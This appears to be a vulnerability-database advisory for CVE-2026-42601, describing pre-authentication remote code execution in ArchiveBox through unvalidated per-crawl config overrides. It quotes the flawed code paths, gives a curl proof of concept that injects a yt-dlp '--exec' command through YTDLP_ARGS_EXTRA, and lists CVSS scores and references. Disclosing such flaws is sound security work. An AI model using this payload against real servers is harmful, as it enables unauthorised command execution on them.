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Vulnerability details: VCID-c2au-fpkn-8kfx
Vulnerability ID VCID-c2au-fpkn-8kfx
Aliases CVE-2026-42601
GHSA-3h23-7824-pj8r
Summary ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE. When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt. Affected code: core/views.py:887 - user config extracted with no validation: ```python custom_config = form.cleaned_data.get("config") or {} ``` core/views.py:918 - merged into crawl config: ```python config.update(custom_config) ``` config/configset.py:255-256 - crawl config applied with high priority: ```python if crawl and hasattr(crawl, "config") and crawl.config: config.update(crawl.config) ``` hooks.py:398-411 - config exported as env vars: ```python for key, value in config.items(): if key in SKIP_KEYS: continue env[key] = str(value) ``` plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp: ```python ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", []) cmd.extend(ytdlp_args_extra) ``` PoC (pre-auth when PUBLIC_ADD_VIEW=True): ```bash curl -X POST http://localhost:8000/add/ \ -d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \ -d "depth=0" \ -d "config={\"YTDLP_ARGS_EXTRA\": \"[\\\"--exec\\\", \\\"id > /tmp/pwned\\\"]\"}" ``` After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag. Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key. Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.
Status Published
Exploitability 0.5
Weighted Severity 9.0
Risk 4.5
Affected and Fixed Packages Package Details
Weaknesses (3)
CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
CWE-937 OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities
CWE-1035 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities
System Score Found at
epss 0.00061 https://api.first.org/data/v1/epss?cve=CVE-2026-42601
cvssv3.1 9.8 https://github.com/ArchiveBox/ArchiveBox
cvssv4 9.3 https://github.com/ArchiveBox/ArchiveBox
generic_textual CRITICAL https://github.com/ArchiveBox/ArchiveBox
cvssv3.1 9.8 https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r
cvssv4 9.3 https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r
generic_textual CRITICAL https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r
ssvc Track* https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r
cvssv3.1 9.8 https://nvd.nist.gov/vuln/detail/CVE-2026-42601
cvssv4 9.3 https://nvd.nist.gov/vuln/detail/CVE-2026-42601
generic_textual CRITICAL https://nvd.nist.gov/vuln/detail/CVE-2026-42601
Reference id Reference type URL
https://api.first.org/data/v1/epss?cve=CVE-2026-42601
https://github.com/ArchiveBox/ArchiveBox
https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r
https://nvd.nist.gov/vuln/detail/CVE-2026-42601
GHSA-3h23-7824-pj8r https://github.com/advisories/GHSA-3h23-7824-pj8r
No exploits are available.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Found at https://github.com/ArchiveBox/ArchiveBox
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

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none

required

unchanged

changed

high

low

none

high

low

none

high

low

none
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Found at https://github.com/ArchiveBox/ArchiveBox
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

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present

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passive

active

high

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Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Found at https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Found at https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

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low

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Vector: SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-05-11T14:45:28Z/ Found at https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Found at https://nvd.nist.gov/vuln/detail/CVE-2026-42601
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Found at https://nvd.nist.gov/vuln/detail/CVE-2026-42601
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

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low

none
Exploit Prediction Scoring System (EPSS)
Percentile 0.19446
EPSS Score 0.00061
Published At June 5, 2026, 12:55 p.m.
Date Actor Action Source VulnerableCode Version
2026-06-04T17:00:40.786434+00:00 GithubOSV Importer Import https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3h23-7824-pj8r/GHSA-3h23-7824-pj8r.json 38.6.0